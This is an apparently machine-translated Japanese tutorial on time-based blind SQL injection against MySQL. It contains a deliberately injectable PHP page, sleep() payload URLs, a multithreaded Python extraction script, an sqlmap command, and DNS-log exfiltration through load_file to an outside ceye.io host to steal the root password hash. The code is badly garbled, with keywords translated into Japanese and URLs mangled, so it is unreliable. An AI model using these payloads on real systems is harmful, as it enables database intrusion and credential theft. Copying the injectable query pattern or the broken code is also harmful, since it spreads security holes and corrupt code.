0x00インジェクションの定義遅延
遅延注射は盲検注射方法です。実行時間の関数SQLステートメントを送信し、実行時間の長さによって実行が成功するかどうかを判断します。たとえば、が正しい場合、それは長い時間を引き起こし、間違っている場合、それは短い実行時間を引き起こします。これはいわゆる高度な盲目の注射です。 SQLMAP、パンゴリン、ニンジンなどの主流の注入ツールは検出されず、手動でのみ検出でき、結果はスクリプトプログラムを使用して取得されます。
0x01注入関数の遅延
Sleep()//遅延機能
if(条件、true、false)
//条件文
ascii()
//ASCIIコードに変換します
サブストリング( 'strant'、strart、length)
//同じことがmid()に当てはまり、文字列の開始ビットと文字の長さを取り出します
if expression:if(expr1、expr2、expr3)
expr1が真である場合
(expr1 0およびexpr1 null)、if()の戻り値はexpr2です。それ以外の場合、返品値はexpr3です
ミッド関数:MID(column_name、start [、length])
column_name
必須。キャラクターを抽出するフィールド。
始める
必須。開始位置を指定します(開始値は1)。
長さ
オプション。返す文字の数。省略した場合、Mid()関数は残りのテキストを返します。
遅延インジェクションの原則は、爆発する情報のASCIIコードが正しい場合、遅延が発生し、それ以外の場合は遅延がないということです。
0x02実際の列の注入の遅延
1。時間遅延噴射コード
が含まれていますyanchi.php:
?php
ヘッダー( 'Content-Type:Text/html; charset=utf8');
$ link=mysql_connect( 'localhost'、 'root'、 'root');
mysql_select_db( 'mysql'、$ link);
mysql_set_charset( 'utf8');
$ sql='ユーザーからユーザーを選択します。ユーザー=' {$ _ get ['username']} '';
echo $ sql;
$ query=mysql_query($ sql);
エコー 'これは時間のブロードです';
?
2手動検査遅延インジェクション
http://10.0.0.21/yanci.php?username=root 'および睡眠(5)%23
または
http://10.0.0.21/yanci.php?username=root 'およびsleep(5)および' xrsl '=' xrsl#
または
http://10.0.0.21/yanci.php?username=root 'およびif(ascii(subst(database()、1,1))=114,1、sleep(5))#
注入がある場合、遅延時間が長くなります。
3。 Pythonスクリプトを実行します(ユーザー名はこちらで実行されます)
#!/usr/bin/env python
# - * - coding: utf-8-* -
urllib2をインポートします
インポート時間
ソケットをインポートします
スレッドをインポートします
リクエストをインポートします
クラスmy_threading(threading.thread):
def __init __(self、str、x):
threading.thread .__ init __(self)
self.str=str
self.x=x
def run(self):
グローバル解像度
x=self.x
j=self.str
url='http://10.0.0.21/yanci.php?username=root' + + + + + fid ext' + fid%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29、 ' + sr(x) +') '、1%29%29、睡眠%282%29,0%29%23'
html=request(url)
verify='timeout'
html:にない場合
res [str(j)]=0
#print 1
else:
res [str(j)]=1
def request(url):
user_agent={'user-agent' : 'mozilla/5.0(macintosh; intel mac os x 10_7_3)applewebkit/534.55.3(khtml、geckoのような)バージョン/5.1.3サファリ/534.53.10'}
req=urllib2.request(url、none、user_agent)
try:
request=urllib2.urlopen(req、timeout=2)
例外を除き、E:
time.sleep(2)
「タイムアウト」を返す
return request.read()
def curl(url):
try:
start=time.clock()
requests.get(url)
end=time.clock()
return int(end)
requests.requestexception as e:を除く
u'erroryを印刷!」
出口()
def getLength():
i=0
true:
印刷'[+]チェック:%s \ r'%i
url='http://10.0.0.21/yanci.php?username=root'++sleep(if(length( olengtom (select%20user()))(Select%20User()
html=request(url)
verify='timeout'
html:で確認する場合
印刷'[+]長さ:%s'%i
私を返します
i=i + 1
def bin2dec(string_num):
return int(string_num、2)
def getdata(datalength):
グローバル解像度
データ=''
範囲のx(datalength):
x=x + 1
#print x
スレッド=[]
範囲(8):のJの場合
結果=''
j=j + 1
sb=my_threading(j、x)
sb.setdaemon(true)
threads.append(sb)
#print j
Threads:のtの場合
t.start()
Threads:のtの場合
T.Join()
#print res
TMP=''
範囲(8):のIの場合
tmp=tmp + str(res [str(i + 1)])
#print chr(bin2dec(tmp))
res={}
result=chr(bin2dec(tmp))
印刷結果
data=data + result
sb=none
印刷'[+] ok!'
print '[ +] result:' +データ
__name__=='__main __' :の場合
stop=false
res={}
length=getLength()
getData(長さ)
4。遅延インジェクションのsqlmap sqlmap.py -r q1.txt - dbms=mysql - -time -sec=5
5。 DNSログロギング
を介してブラインドを注入します(1)ユーザー名ルートのパスワードを取得します
http://10.0.0.21/yanci.php?username=root 'およびif(select load_file(concat(' \\\\ '、(select concat(user、' _ '、mid(password、2,41))user user=' root 'lime 1)、'。
(2)DNSログレコードは:です。ここでは、http://CEYEE.IOのDNSレコードを使用して注入します。
(3)ユーザー名ルートパスワードの16進数を取得する
http://10.0.0.21/yanci.php?username=root 'and if((select load_file(' \\\\ '、(select hex(user()))、'。89mxv7.ceye.io\\ foobar '))、1,1)#)#)
DNSレコードは次のとおりです。
(4)Xiaokuiツールのクエリを取得します。
Recommended Comments